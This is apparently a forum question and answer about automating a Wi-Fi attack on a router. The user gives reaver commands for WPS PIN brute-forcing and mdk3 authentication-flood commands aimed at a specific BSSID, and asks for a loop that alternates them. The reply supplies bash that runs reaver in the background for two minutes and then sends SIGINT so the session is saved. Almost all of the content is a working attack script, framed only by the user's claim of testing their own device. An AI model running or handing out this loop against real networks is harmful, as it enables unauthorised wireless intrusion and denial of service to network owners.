I am doing some testing on my router, I am using mdk3 and reaver utility for that.
here are the two commands:
[cmd1] echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv -l 230 [cmd2] sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6
I am trying to create a shell script which will run [cmd1] for 2 minutes, then it will send the ctrl + c signal to [cmd1] so that it will save the reaver session.
then cmd2 will run for 2 minutes and this will also stop after that.
these two will be in loop.
below is the sample script which I written can you add timer to it..?
#!/bin/bash while :; do echo echo "running mdk for 2 minutes"; timeout 120 sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6; echo "mdk finished"; echo "starting reaver for 2 minutes "; #here timeout won't work, as ctrl+c can only save the state. //add code here to run reaver utility for two minutes and send ctrl+c to it echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv; echo "reaver ran for two minutes"; done
I'm not familiar with the
reaver program, but I think the following should work,
# Run reaver as a background process (add &) echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv & # Save the process id. reaverpid=$! # Sleep 2 minutes sleep 120 # Send SIGINT, which is what ctrl-c normally does. kill -SIGINT $reaverpid